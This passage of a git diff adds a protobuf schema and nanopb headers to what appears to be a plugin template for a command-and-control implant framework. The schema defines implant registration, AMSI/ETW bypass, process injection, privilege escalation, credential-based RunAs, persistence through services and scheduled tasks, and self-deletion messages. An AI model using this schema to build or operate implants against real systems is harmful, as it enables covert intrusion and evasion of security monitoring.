+#define malefic_SockTabEntry_size 197 +#define malefic_Suicide_size 22 +#define malefic_Switch_size 4128 +#define malefic_SysInfo_size 2678 +#define malefic_TaskCtrl_size 71 +#define malefic_TaskInfo_size 29 +#define malefic_TaskListResponse_size 3968 +#define malefic_TaskScheduleRequest_size 1303 +#define malefic_TaskSchedule_size 1235 +#define malefic_TaskSchedulesResponse_size 79232 +#define malefic_Timer_size 139 +#define malefic_UploadRequest_size 4625 +#define malefic_WmiQueryRequest_size 4386 + +#ifdef __cplusplus +} /* extern "C" */ +#endif + +#endif diff --git a/malefic-3rd-template/malefic-3rd-nim/src/nim/malefic/module.proto b/malefic-3rd-template/malefic-3rd-nim/src/nim/malefic/module.proto new file mode 100644 index 0000000..6e73d4f --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-nim/src/nim/malefic/module.proto @@ -0,0 +1,483 @@ +syntax = "proto3"; +package malefic; + +option go_package = "./malefic"; + + +message Ping{ + int32 nonce = 1; +} + +message Register { + string name = 1; + string proxy = 2; + repeated string module = 3; + repeated Addon addons = 4; + Timer timer = 5; + SysInfo sysinfo = 11; + Secure secure = 12; // Implant's public key, used by server to encrypt data +} + +message Secure{ + bool enable = 1; + string key = 2; // encryption key + string type = 3; // encryption type + string public_key = 4; // Implant's public key, used by server to encrypt data +} + + +// Age key exchange related messages +message KeyExchangeRequest { + string public_key = 1; // Temporary public key (Age X25519) + bytes signature = 2; // Signature of temporary public key + uint64 timestamp = 3; // Timestamp + string nonce = 4; // Nonce +} + +message KeyExchangeResponse { + string public_key = 1; // Server temporary public key +} + +message Init{ + bytes data = 1; +} + +message SysInfo { + string filepath = 1; + string workdir = 2; + bool is_privilege = 3; + Os os = 11; + Process process = 12; +} + +message Suicide { + int32 type = 1; + int64 timestamp = 2; +} + + +// common empty request +message Request { + string name = 1; + string input = 2; + repeated string args = 3; + map params = 4; + bytes bin = 5; +} + +message Response { + string output = 1; + string error = 2; + map kv = 3; + repeated string array =4; +} + + +message BypassRequest{ + bool ETW = 1; + bool AMSI = 2; + bool block_dll = 3; +} + +message NetInterface { + int32 index = 1; + string name = 2; + string mac = 3; + repeated string ip_addresses = 4; +} + +message SockTabEntry { + string local_addr = 1; + string remote_addr = 2; + string skState = 3; + // uint32 uid = 4; + string pid = 5; + string protocol = 6; +} + +message NetstatResponse { + repeated SockTabEntry socks = 1; +} + + +message Block{ + uint32 block_id = 1; + bytes content = 2; + bool end = 3; +} + +message ACK { + uint32 id = 1; + bool success = 2; + bool end = 3; +} + +message Os { + string name = 1; + string version = 2; // kernel version + string release = 3; // release version + string arch = 4; + string username = 5; + string hostname = 6; + string locale = 7; // timezone + repeated string clr_version = 8; +} + +message Process { + string name = 1; + uint32 pid = 2; + uint32 ppid = 3; + string owner = 4; + string arch = 5; + string path = 6; + string args = 7; + string uid = 8; +} + +message Timer { + string expression = 1; + double jitter = 2; +} + +message FileInfo { + string Name = 1; + bool IsDir = 2; + uint64 Size = 3; + int64 ModTime = 4; + uint32 Mode = 5; + string Link = 6; +} + +message SacrificeProcess { + bool hidden = 1; + bool block_dll = 2; + bool etw = 3; + uint32 ppid = 4; + string argue = 5; +} + +message LsResponse { + string Path = 1; + bool Exists = 2; + repeated FileInfo Files = 3; +} + +message DriveInfo { + string path = 1; // "C:\\" + string drive_type = 2; // "Fixed drive" + uint64 total_size = 3; // + uint64 free_size = 4; // + string file_system = 5; // "NTFS" +} + +message EnumDriversResponse { + repeated DriveInfo drives = 1; +} + +message PsResponse{ + repeated Process processes = 1; +} + +message ExecRequest { + string path = 1; + repeated string args = 2; + bool output = 3; + bool singleton = 4; + bool realtime = 5; + uint32 ppid = 10; +} + +message ExecResponse { + int32 status_code = 1; + bytes stdout = 2; + bytes stderr = 3; + uint32 pid = 4; + bool end = 5; +} + +message BinaryResponse { + bytes data = 1; // common return, bof BeaconOutput + bytes message = 2; // bof BeaconPrintf + string err = 4; + int32 status = 3; +} + +message Modules { + repeated string modules = 1; + map bundle_map = 2; +} + + +message Addons { + repeated Addon addons = 1; +} + +message Addon { + string name = 1; + string type = 2; + string depend = 3; +} + +message LoadModule{ + string bundle = 1; + bytes bin = 2; +} + +message LoadAddon{ + string name = 1; + string type = 2; + string depend = 3; + bytes bin = 4; +} + +message ExecuteAddon { + string addon = 1; + ExecuteBinary execute_binary = 2; +} + +message ExecuteBinary { + string name = 1; + bytes bin = 2; + map param = 3; + string type = 4; + string process_name = 5; + repeated string args = 6; + string entry_point = 7; + bytes data = 8; + bool output = 9; + uint32 arch = 10; + uint32 timeout = 11; + SacrificeProcess sacrifice = 12; + string path = 13; + string context = 14; + uint32 delay = 15; //millisecond +} + +message ExecuteCommand { + string command = 1; + SacrificeProcess sacrifice = 2; +} + +message UploadRequest { + string name = 1; + string target = 2; + uint32 priv = 3; + bytes data = 4; + bool hidden = 5; + bool override = 6; +} + +message DownloadRequest { + string path = 1; + string name = 2; + uint32 buffer_size = 3; + bool dir = 4; + int32 cur = 5; +} + +message DownloadResponse{ + string checksum = 1; + uint64 size = 2; + int32 cur = 3; + bytes content = 4; +} + +message CurlRequest{ + string url = 1; + int32 timeout = 2; + string method = 3; + bytes body = 4; + map header =5; + string hostname = 6; +} + +message ChownRequest{ + string path = 1; + string uid = 2; + string gid = 3; + bool recursive = 4; +} + +message IfconfigResponse { + repeated NetInterface net_interfaces = 1; +} + +// wrap for client +message RegistryRequest { + string type = 1; + Registry registry = 2; +} + +message Registry { + string hive = 1; + string path = 2; + string key = 3; +} + +message RegistryWriteRequest { + string hive = 1; + string path = 2; + string key = 3; + string string_value = 5; + bytes byte_value = 6; + uint32 dword_value = 7; + uint64 qword_value = 8; + uint32 regtype = 10; +} + +message TaskScheduleRequest { + string type = 1; + TaskSchedule taskschd = 2; +} + +message TaskSchedule { + string name = 1; + string path = 2; + string executable_path = 3; + uint32 trigger_type = 4; + string start_boundary = 5; + string description = 6; + bool enabled = 7; + string last_run_time = 8; + string next_run_time = 9; +} + + +message TaskSchedulesResponse { + repeated TaskSchedule schedules = 1; +} + +// wrap for client +message ServiceRequest { + string type = 1; + ServiceConfig service = 2; +} + +message ServiceConfig { + string name = 1; + string display_name = 2; + string executable_path = 3; + uint32 start_type = 4; + uint32 error_control = 5; + string account_name = 6; +} + +message ServiceStatus { + uint32 current_state = 1; + uint32 process_id = 2; + uint32 exit_code = 3; + uint32 checkpoint = 4; + uint32 wait_hint = 5; +} + +message Service { + ServiceConfig config = 1; + ServiceStatus status = 2; +} + +message ServicesResponse { + repeated Service services = 1; +} + +message WmiQueryRequest { + string namespace = 1; + repeated string args = 2; +} + +message WmiMethodRequest { + string namespace = 1; + string class_name = 2; + string method_name = 3; + map params = 4; +} + +message RunAsRequest { + string username = 1; // Username to execute as + string domain = 2; // User domain + string password = 3; // User password + string program = 4; // Program path + string args = 5; // Program arguments (optional) + bool use_profile = 6; + bool netonly = 7; // Use network credentials only (optional, default false) + bool use_env = 8; +} + +message GetSystem{ + bytes bin = 1; + uint32 pid = 2; +} + +message Inject{ + bytes bin = 1; + uint32 pid = 2; +} + +message Pipe { + string name = 1; + string target = 2; + bytes data = 4; +} + +message PipeRequest { + string type = 1; + Pipe pipe = 2; +} + +message Switch { + repeated string urls = 1; +} + +message TaskCtrl{ + uint32 task_id = 1; + string op = 2; +} + +message TaskInfo { + uint32 task_id = 1; + uint64 last = 2; + uint32 recv_count = 3; + uint32 send_count = 4; +} + +message TaskListResponse { + repeated TaskInfo tasks = 1; +} + +message FFmpegRequest { + string action = 1; + string device_name = 2; + string output_format = 3; + string output_path = 4; + string time = 5; +} + +// PTY +message PtyRequest { + string type = 1; // type: "start", "input", "stop" + string session_id = 2; // + string shell = 3; // shell type: "/bin/bash", "cmd.exe", "powershell.exe" + uint32 cols = 4; // + uint32 rows = 5; // + bytes input_data = 6; // + string input_text = 7; // + map params = 8; // +} + +message PtyResponse { + string session_id = 1; // Session ID + bytes output_data = 2; // Output data (binary) + string output_text = 3; // Output data (text) + string error = 4; // Error message + bool session_active = 5; // Whether session is still active + repeated string active_sessions = 6; + map metadata = 7; +} + +message CommonBody { + string name = 1; + repeated uint32 u32_array = 2; + repeated uint64 u64_array = 4; + repeated bool bool_array = 6; + repeated string string_array = 8; + repeated bytes bytes_array = 10; +} diff --git a/malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb.h b/malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb.h new file mode 100644 index 0000000..10249bb --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb.h @@ -0,0 +1,922 @@ +/* Common parts of the nanopb library. Most of these are quite low-level + * stuff. For the high-level interface, see pb_encode.h and pb_decode.h. + */ + +#ifndef PB_H_INCLUDED +#define PB_H_INCLUDED + +/***************************************************************** + * Nanopb compilation time options. You can change these here by * + * uncommenting the lines, or on the compiler command line. * + *****************************************************************/ + +/* Enable support for dynamically allocated fields */ +/* #define PB_ENABLE_MALLOC 1 */ + +/* Define this if your CPU / compiler combination does not support + * unaligned memory access to packed structures. Note that packed + * structures are only used when requested in .proto options. */ +/* #define PB_NO_PACKED_STRUCTS 1 */ + +/* Increase the number of required fields that are tracked. + * A compiler warning will tell if you need this. */ +/* #define PB_MAX_REQUIRED_FIELDS 256 */ + +/* Add support for tag numbers > 65536 and fields larger than 65536 bytes. */ +/* #define PB_FIELD_32BIT 1 */ + +/* Disable support for error messages in order to save some code space. */ +/* #define PB_NO_ERRMSG 1 */ + +/* Disable support for custom streams (support only memory buffers). */ +/* #define PB_BUFFER_ONLY 1 */ + +/* Disable support for 64-bit datatypes, for compilers without int64_t + or to save some code space. */ +/* #define PB_WITHOUT_64BIT 1 */ + +/* Don't encode scalar arrays as packed. This is only to be used when + * the decoder on the receiving side cannot process packed scalar arrays. + * Such example is older protobuf.js. */ +/* #define PB_ENCODE_ARRAYS_UNPACKED 1 */ + +/* Enable conversion of doubles to floats for platforms that do not + * support 64-bit doubles. Most commonly AVR. */ +/* #define PB_CONVERT_DOUBLE_FLOAT 1 */ + +/* Check whether incoming strings are valid UTF-8 sequences. Slows down + * the string processing slightly and slightly increases code size. */ +/* #define PB_VALIDATE_UTF8 1 */ + +/* This can be defined if the platform is little-endian and has 8-bit bytes. + * Normally it is automatically detected based on __BYTE_ORDER__ macro. */ +/* #define PB_LITTLE_ENDIAN_8BIT 1 */ + +/* Configure static assert mechanism. Instead of changing these, set your + * compiler to C11 standard mode if possible. */ +/* #define PB_C99_STATIC_ASSERT 1 */ +/* #define PB_NO_STATIC_ASSERT 1 */ + +/****************************************************************** + * You usually don't need to change anything below this line. * + * Feel free to look around and use the defined macros, though. * + ******************************************************************/ + + +/* Version of the nanopb library. Just in case you want to check it in + * your own program. */ +#define NANOPB_VERSION "nanopb-0.4.9.1" + +/* Include all the system headers needed by nanopb. You will need the + * definitions of the following: + * - strlen, memcpy, memset functions + * - [u]int_least8_t, uint_fast8_t, [u]int_least16_t, [u]int32_t, [u]int64_t + * - size_t + * - bool + * + * If you don't have the standard header files, you can instead provide + * a custom header that defines or includes all this. In that case, + * define PB_SYSTEM_HEADER to the path of this file. + */ +#ifdef PB_SYSTEM_HEADER +#include PB_SYSTEM_HEADER +#else +#include +#include +#include +#include +#include + +#ifdef PB_ENABLE_MALLOC +#include +#endif +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +/* Macro for defining packed structures (compiler dependent). + * This just reduces memory requirements, but is not required. + */ +#if defined(PB_NO_PACKED_STRUCTS) + /* Disable struct packing */ +# define PB_PACKED_STRUCT_START +# define PB_PACKED_STRUCT_END +# define pb_packed +#elif defined(__GNUC__) || defined(__clang__) + /* For GCC and clang */ +# define PB_PACKED_STRUCT_START +# define PB_PACKED_STRUCT_END +# define pb_packed __attribute__((packed)) +#elif defined(__ICCARM__) || defined(__CC_ARM) + /* For IAR ARM and Keil MDK-ARM compilers */ +# define PB_PACKED_STRUCT_START _Pragma("pack(push, 1)") +# define PB_PACKED_STRUCT_END _Pragma("pack(pop)") +# define pb_packed +#elif defined(_MSC_VER) && (_MSC_VER >= 1500) + /* For Microsoft Visual C++ */ +# define PB_PACKED_STRUCT_START __pragma(pack(push, 1)) +# define PB_PACKED_STRUCT_END __pragma(pack(pop)) +# define pb_packed +#else + /* Unknown compiler */ +# define PB_PACKED_STRUCT_START +# define PB_PACKED_STRUCT_END +# define pb_packed +#endif + +/* Detect endianness */ +#ifndef PB_LITTLE_ENDIAN_8BIT +#if ((defined(__BYTE_ORDER) && __BYTE_ORDER == __LITTLE_ENDIAN) || \ + (defined(__BYTE_ORDER__) && __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__) || \ + defined(__LITTLE_ENDIAN__) || defined(__ARMEL__) || \ + defined(__THUMBEL__) || defined(__AARCH64EL__) || defined(_MIPSEL) || \ + defined(_M_IX86) || defined(_M_X64) || defined(_M_ARM)) \ + && CHAR_BIT == 8 +#define PB_LITTLE_ENDIAN_8BIT 1 +#endif +#endif + +/* Handly macro for suppressing unreferenced-parameter compiler warnings. */ +#ifndef PB_UNUSED +#define PB_UNUSED(x) (void)(x) +#endif + +/* Harvard-architecture processors may need special attributes for storing + * field information in program memory. */ +#ifndef PB_PROGMEM +#ifdef __AVR__ +#include +#define PB_PROGMEM PROGMEM +#define PB_PROGMEM_READU32(x) pgm_read_dword(&x) +#else +#define PB_PROGMEM +#define PB_PROGMEM_READU32(x) (x) +#endif +#endif + +/* Compile-time assertion, used for checking compatible compilation options. + * If this does not work properly on your compiler, use + * #define PB_NO_STATIC_ASSERT to disable it. + * + * But before doing that, check carefully the error message / place where it + * comes from to see if the error has a real cause. Unfortunately the error + * message is not always very clear to read, but you can see the reason better + * in the place where the PB_STATIC_ASSERT macro was called. + */ +#ifndef PB_NO_STATIC_ASSERT +# ifndef PB_STATIC_ASSERT +# if defined(__ICCARM__) + /* IAR has static_assert keyword but no _Static_assert */ +# define PB_STATIC_ASSERT(COND,MSG) static_assert(COND,#MSG); +# elif defined(_MSC_VER) && (!defined(__STDC_VERSION__) || __STDC_VERSION__ < 201112) + /* MSVC in C89 mode supports static_assert() keyword anyway */ +# define PB_STATIC_ASSERT(COND,MSG) static_assert(COND,#MSG); +# elif defined(PB_C99_STATIC_ASSERT) + /* Classic negative-size-array static assert mechanism */ +# define PB_STATIC_ASSERT(COND,MSG) typedef char PB_STATIC_ASSERT_MSG(MSG, __LINE__, __COUNTER__)[(COND)?1:-1]; +# define PB_STATIC_ASSERT_MSG(MSG, LINE, COUNTER) PB_STATIC_ASSERT_MSG_(MSG, LINE, COUNTER) +# define PB_STATIC_ASSERT_MSG_(MSG, LINE, COUNTER) pb_static_assertion_##MSG##_##LINE##_##COUNTER +# elif defined(__cplusplus) + /* C++11 standard static_assert mechanism */ +# define PB_STATIC_ASSERT(COND,MSG) static_assert(COND,#MSG); +# else + /* C11 standard _Static_assert mechanism */ +# define PB_STATIC_ASSERT(COND,MSG) _Static_assert(COND,#MSG); +# endif +# endif +#else + /* Static asserts disabled by PB_NO_STATIC_ASSERT */ +# define PB_STATIC_ASSERT(COND,MSG) +#endif + +/* Test that PB_STATIC_ASSERT works + * If you get errors here, you may need to do one of these: + * - Enable C11 standard support in your compiler + * - Define PB_C99_STATIC_ASSERT to enable C99 standard support + * - Define PB_NO_STATIC_ASSERT to disable static asserts altogether + */ +PB_STATIC_ASSERT(1, STATIC_ASSERT_IS_NOT_WORKING) + +/* Number of required fields to keep track of. */ +#ifndef PB_MAX_REQUIRED_FIELDS +#define PB_MAX_REQUIRED_FIELDS 64 +#endif + +#if PB_MAX_REQUIRED_FIELDS < 64 +#error You should not lower PB_MAX_REQUIRED_FIELDS from the default value (64). +#endif + +#ifdef PB_WITHOUT_64BIT +#ifdef PB_CONVERT_DOUBLE_FLOAT +/* Cannot use doubles without 64-bit types */ +#undef PB_CONVERT_DOUBLE_FLOAT +#endif +#endif + +/* Data type for storing encoded data and other byte streams. + * This typedef exists to support platforms where uint8_t does not exist. + * You can regard it as equivalent on uint8_t on other platforms. + */ +#if defined(PB_BYTE_T_OVERRIDE) +typedef PB_BYTE_T_OVERRIDE pb_byte_t; +#elif defined(UINT8_MAX) +typedef uint8_t pb_byte_t; +#else +typedef uint_least8_t pb_byte_t; +#endif + +/* List of possible field types. These are used in the autogenerated code. + * Least-significant 4 bits tell the scalar type + * Most-significant 4 bits specify repeated/required/packed etc. + */ +typedef pb_byte_t pb_type_t; + +/**** Field data types ****/ + +/* Numeric types */ +#define PB_LTYPE_BOOL 0x00U /* bool */ +#define PB_LTYPE_VARINT 0x01U /* int32, int64, enum, bool */ +#define PB_LTYPE_UVARINT 0x02U /* uint32, uint64 */ +#define PB_LTYPE_SVARINT 0x03U /* sint32, sint64 */ +#define PB_LTYPE_FIXED32 0x04U /* fixed32, sfixed32, float */ +#define PB_LTYPE_FIXED64 0x05U /* fixed64, sfixed64, double */ + +/* Marker for last packable field type. */ +#define PB_LTYPE_LAST_PACKABLE 0x05U + +/* Byte array with pre-allocated buffer. + * data_size is the length of the allocated PB_BYTES_ARRAY structure. */ +#define PB_LTYPE_BYTES 0x06U + +/* String with pre-allocated buffer. + * data_size is the maximum length. */ +#define PB_LTYPE_STRING 0x07U + +/* Submessage + * submsg_fields is pointer to field descriptions */ +#define PB_LTYPE_SUBMESSAGE 0x08U + +/* Submessage with pre-decoding callback + * The pre-decoding callback is stored as pb_callback_t right before pSize. + * submsg_fields is pointer to field descriptions */ +#define PB_LTYPE_SUBMSG_W_CB 0x09U + +/* Extension pseudo-field + * The field contains a pointer to pb_extension_t */ +#define PB_LTYPE_EXTENSION 0x0AU + +/* Byte array with inline, pre-allocated byffer. + * data_size is the length of the inline, allocated buffer. + * This differs from PB_LTYPE_BYTES by defining the element as + * pb_byte_t[data_size] rather than pb_bytes_array_t. */ +#define PB_LTYPE_FIXED_LENGTH_BYTES 0x0BU + +/* Number of declared LTYPES */ +#define PB_LTYPES_COUNT 0x0CU +#define PB_LTYPE_MASK 0x0FU + +/**** Field repetition rules ****/ + +#define PB_HTYPE_REQUIRED 0x00U +#define PB_HTYPE_OPTIONAL 0x10U +#define PB_HTYPE_SINGULAR 0x10U +#define PB_HTYPE_REPEATED 0x20U +#define PB_HTYPE_FIXARRAY 0x20U +#define PB_HTYPE_ONEOF 0x30U +#define PB_HTYPE_MASK 0x30U + +/**** Field allocation types ****/ + +#define PB_ATYPE_STATIC 0x00U +#define PB_ATYPE_POINTER 0x80U +#define PB_ATYPE_CALLBACK 0x40U +#define PB_ATYPE_MASK 0xC0U + +#define PB_ATYPE(x) ((x) & PB_ATYPE_MASK) +#define PB_HTYPE(x) ((x) & PB_HTYPE_MASK) +#define PB_LTYPE(x) ((x) & PB_LTYPE_MASK) +#define PB_LTYPE_IS_SUBMSG(x) (PB_LTYPE(x) == PB_LTYPE_SUBMESSAGE || \ + PB_LTYPE(x) == PB_LTYPE_SUBMSG_W_CB) + +/* Data type used for storing sizes of struct fields + * and array counts. + */ +#if defined(PB_FIELD_32BIT) + typedef uint32_t pb_size_t; + typedef int32_t pb_ssize_t; +#else + typedef uint_least16_t pb_size_t; + typedef int_least16_t pb_ssize_t; +#endif +#define PB_SIZE_MAX ((pb_size_t)-1) + +/* Forward declaration of struct types */ +typedef struct pb_istream_s pb_istream_t; +typedef struct pb_ostream_s pb_ostream_t; +typedef struct pb_field_iter_s pb_field_iter_t; + +/* This structure is used in auto-generated constants + * to specify struct fields. + */ +typedef struct pb_msgdesc_s pb_msgdesc_t; +struct pb_msgdesc_s { + const uint32_t *field_info; + const pb_msgdesc_t * const * submsg_info; + const pb_byte_t *default_value; + + bool (*field_callback)(pb_istream_t *istream, pb_ostream_t *ostream, const pb_field_iter_t *field); + + pb_size_t field_count; + pb_size_t required_field_count; + pb_size_t largest_tag; +}; + +/* Iterator for message descriptor */ +struct pb_field_iter_s { + const pb_msgdesc_t *descriptor; /* Pointer to message descriptor constant */ + void *message; /* Pointer to start of the structure */ + + pb_size_t index; /* Index of the field */ + pb_size_t field_info_index; /* Index to descriptor->field_info array */ + pb_size_t required_field_index; /* Index that counts only the required fields */ + pb_size_t submessage_index; /* Index that counts only submessages */ + + pb_size_t tag; /* Tag of current field */ + pb_size_t data_size; /* sizeof() of a single item */ + pb_size_t array_size; /* Number of array entries */ + pb_type_t type; /* Type of current field */ + + void *pField; /* Pointer to current field in struct */ + void *pData; /* Pointer to current data contents. Different than pField for arrays and pointers. */ + void *pSize; /* Pointer to count/has field */ + + const pb_msgdesc_t *submsg_desc; /* For submessage fields, pointer to field descriptor for the submessage. */ +}; + +/* For compatibility with legacy code */ +typedef pb_field_iter_t pb_field_t; + +/* Make sure that the standard integer types are of the expected sizes. + * Otherwise fixed32/fixed64 fields can break. + * + * If you get errors here, it probably means that your stdint.h is not + * correct for your platform. + */ +#ifndef PB_WITHOUT_64BIT +PB_STATIC_ASSERT(sizeof(int64_t) == 2 * sizeof(int32_t), INT64_T_WRONG_SIZE) +PB_STATIC_ASSERT(sizeof(uint64_t) == 2 * sizeof(uint32_t), UINT64_T_WRONG_SIZE) +#endif + +/* This structure is used for 'bytes' arrays. + * It has the number of bytes in the beginning, and after that an array. + * Note that actual structs used will have a different length of bytes array. + */ +#define PB_BYTES_ARRAY_T(n) struct { pb_size_t size; pb_byte_t bytes[n]; } +#define PB_BYTES_ARRAY_T_ALLOCSIZE(n) ((size_t)n + offsetof(pb_bytes_array_t, bytes)) + +struct pb_bytes_array_s { + pb_size_t size; + pb_byte_t bytes[1]; +}; +typedef struct pb_bytes_array_s pb_bytes_array_t; + +/* This structure is used for giving the callback function. + * It is stored in the message structure and filled in by the method that + * calls pb_decode. + * + * The decoding callback will be given a limited-length stream + * If the wire type was string, the length is the length of the string. + * If the wire type was a varint/fixed32/fixed64, the length is the length + * of the actual value. + * The function may be called multiple times (especially for repeated types, + * but also otherwise if the message happens to contain the field multiple + * times.) + * + * The encoding callback will receive the actual output stream. + * It should write all the data in one call, including the field tag and + * wire type. It can write multiple fields. + * + * The callback can be null if you want to skip a field. + */ +typedef struct pb_callback_s pb_callback_t; +struct pb_callback_s { + /* Callback functions receive a pointer to the arg field. + * You can access the value of the field as *arg, and modify it if needed. + */ + union { + bool (*decode)(pb_istream_t *stream, const pb_field_t *field, void **arg); + bool (*encode)(pb_ostream_t *stream, const pb_field_t *field, void * const *arg); + } funcs; + + /* Free arg for use by callback */ + void *arg; +}; + +extern bool pb_default_field_callback(pb_istream_t *istream, pb_ostream_t *ostream, const pb_field_t *field); + +/* Wire types. Library user needs these only in encoder callbacks. */ +typedef enum { + PB_WT_VARINT = 0, + PB_WT_64BIT = 1, + PB_WT_STRING = 2, + PB_WT_32BIT = 5, + PB_WT_PACKED = 255 /* PB_WT_PACKED is internal marker for packed arrays. */ +} pb_wire_type_t; + +/* Structure for defining the handling of unknown/extension fields. + * Usually the pb_extension_type_t structure is automatically generated, + * while the pb_extension_t structure is created by the user. However, + * if you want to catch all unknown fields, you can also create a custom + * pb_extension_type_t with your own callback. + */ +typedef struct pb_extension_type_s pb_extension_type_t; +typedef struct pb_extension_s pb_extension_t; +struct pb_extension_type_s { + /* Called for each unknown field in the message. + * If you handle the field, read off all of its data and return true. + * If you do not handle the field, do not read anything and return true. + * If you run into an error, return false. + * Set to NULL for default handler. + */ + bool (*decode)(pb_istream_t *stream, pb_extension_t *extension, + uint32_t tag, pb_wire_type_t wire_type); + + /* Called once after all regular fields have been encoded. + * If you have something to write, do so and return true. + * If you do not have anything to write, just return true. + * If you run into an error, return false. + * Set to NULL for default handler. + */ + bool (*encode)(pb_ostream_t *stream, const pb_extension_t *extension); + + /* Free field for use by the callback. */ + const void *arg; +}; + +struct pb_extension_s { + /* Type describing the extension field. Usually you'll initialize + * this to a pointer to the automatically generated structure. */ + const pb_extension_type_t *type; + + /* Destination for the decoded data. This must match the datatype + * of the extension field. */ + void *dest; + + /* Pointer to the next extension handler, or NULL. + * If this extension does not match a field, the next handler is + * automatically called. */ + pb_extension_t *next; + + /* The decoder sets this to true if the extension was found. + * Ignored for encoding. */ + bool found; +}; + +#define pb_extension_init_zero {NULL,NULL,NULL,false} + +/* Memory allocation functions to use. You can define pb_realloc and + * pb_free to custom functions if you want. */ +#ifdef PB_ENABLE_MALLOC +# ifndef pb_realloc +# define pb_realloc(ptr, size) realloc(ptr, size) +# endif +# ifndef pb_free +# define pb_free(ptr) free(ptr) +# endif +#endif + +/* This is used to inform about need to regenerate .pb.h/.pb.c files. */ +#define PB_PROTO_HEADER_VERSION 40 + +/* These macros are used to declare pb_field_t's in the constant array. */ +/* Size of a structure member, in bytes. */ +#define pb_membersize(st, m) (sizeof ((st*)0)->m) +/* Number of entries in an array. */ +#define pb_arraysize(st, m) (pb_membersize(st, m) / pb_membersize(st, m[0])) +/* Delta from start of one member to the start of another member. */ +#define pb_delta(st, m1, m2) ((int)offsetof(st, m1) - (int)offsetof(st, m2)) + +/* Force expansion of macro value */ +#define PB_EXPAND(x) x + +/* Binding of a message field set into a specific structure */ +#define PB_BIND(msgname, structname, width) \ + const uint32_t structname ## _field_info[] PB_PROGMEM = \ + { \ + msgname ## _FIELDLIST(PB_GEN_FIELD_INFO_ ## width, structname) \ + 0 \ + }; \ + const pb_msgdesc_t* const structname ## _submsg_info[] = \ + { \ + msgname ## _FIELDLIST(PB_GEN_SUBMSG_INFO, structname) \ + NULL \ + }; \ + const pb_msgdesc_t structname ## _msg = \ + { \ + structname ## _field_info, \ + structname ## _submsg_info, \ + msgname ## _DEFAULT, \ + msgname ## _CALLBACK, \ + 0 msgname ## _FIELDLIST(PB_GEN_FIELD_COUNT, structname), \ + 0 msgname ## _FIELDLIST(PB_GEN_REQ_FIELD_COUNT, structname), \ + 0 msgname ## _FIELDLIST(PB_GEN_LARGEST_TAG, structname), \ + }; \ + msgname ## _FIELDLIST(PB_GEN_FIELD_INFO_ASSERT_ ## width, structname) + +#define PB_GEN_FIELD_COUNT(structname, atype, htype, ltype, fieldname, tag) +1 +#define PB_GEN_REQ_FIELD_COUNT(structname, atype, htype, ltype, fieldname, tag) \ + + (PB_HTYPE_ ## htype == PB_HTYPE_REQUIRED) +#define PB_GEN_LARGEST_TAG(structname, atype, htype, ltype, fieldname, tag) \ + * 0 + tag + +/* X-macro for generating the entries in struct_field_info[] array. */ +#define PB_GEN_FIELD_INFO_1(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_1(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_GEN_FIELD_INFO_2(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_2(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_GEN_FIELD_INFO_4(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_4(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_GEN_FIELD_INFO_8(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_8(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_GEN_FIELD_INFO_AUTO(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_AUTO2(PB_FIELDINFO_WIDTH_AUTO(_PB_ATYPE_ ## atype, _PB_HTYPE_ ## htype, _PB_LTYPE_ ## ltype), \ + tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_FIELDINFO_AUTO2(width, tag, type, data_offset, data_size, size_offset, array_size) \ + PB_FIELDINFO_AUTO3(width, tag, type, data_offset, data_size, size_offset, array_size) + +#define PB_FIELDINFO_AUTO3(width, tag, type, data_offset, data_size, size_offset, array_size) \ + PB_FIELDINFO_ ## width(tag, type, data_offset, data_size, size_offset, 